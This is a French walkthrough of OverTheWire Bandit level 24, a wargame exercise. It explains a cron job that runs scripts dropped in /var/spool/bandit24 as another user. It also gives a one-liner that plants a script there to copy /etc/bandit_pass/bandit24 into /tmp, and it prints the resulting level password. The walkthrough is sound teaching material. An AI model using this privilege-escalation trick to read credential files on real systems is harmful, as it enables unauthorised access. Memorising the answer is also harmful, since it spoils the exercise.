Niveau 24
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
Commands you may need to solve this level
cron
,crontab
,crontab(5)
(useman 5 crontab
to access this)
Tout comme les niveaux précédents, commençons par lister les fichiers de configuration cron et le contenu du fichier qui nous concerne :
bandit23@bandit:~$ ls /etc/cron.d/
cronjob_bandit15_root cronjob_bandit17_root cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 cronjob_bandit25_root
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
Détail qui a son importance pour ce niveau, la chaine de caractères * * * * *
présente au début du job cron indique que le job sera exécuté toutes les minutes.
Le fichier /usr/bin/cronjob_bandit24.sh
a le contenu suivant :
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
Ce fichier nous indique que l'on peut créer un fichier dans le répertoire /var/spool/bandit24
et qu'il sera exécuté par le job cron en tant que bandit24
, puis effacé.
On peut créer un fichier shell avec la commande suivante :
bandit23@bandit:~$ echo "cat /etc/bandit_pass/bandit24 > /tmp/solution_24" > /var/spool/bandit24/level_24.sh | chmod +x /var/spool/bandit24/level_24.sh
On peut décomposer cette commande comme suit :
echo "cat /etc/bandit_pass/bandit24 > /tmp/solution_24"
affiche une ligne de commande shell qui copiera le fichier contenant le mot de passe vers un fichier temporaire> /var/spool/bandit24/level_24.sh
ajoute la ligne de texte affichée par leecho
dans un nouveau fichierlevel_24.sh
chmod +x /var/spool/bandit24/level_24.sh
permet au fichierlevel_24.sh
d'être exécuté
Environ une minute plus tard si l'on affiche le contenu du fichier /tmp/solution_24
on obtient :
bandit23@bandit:~$ cat /tmp/solution_24
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ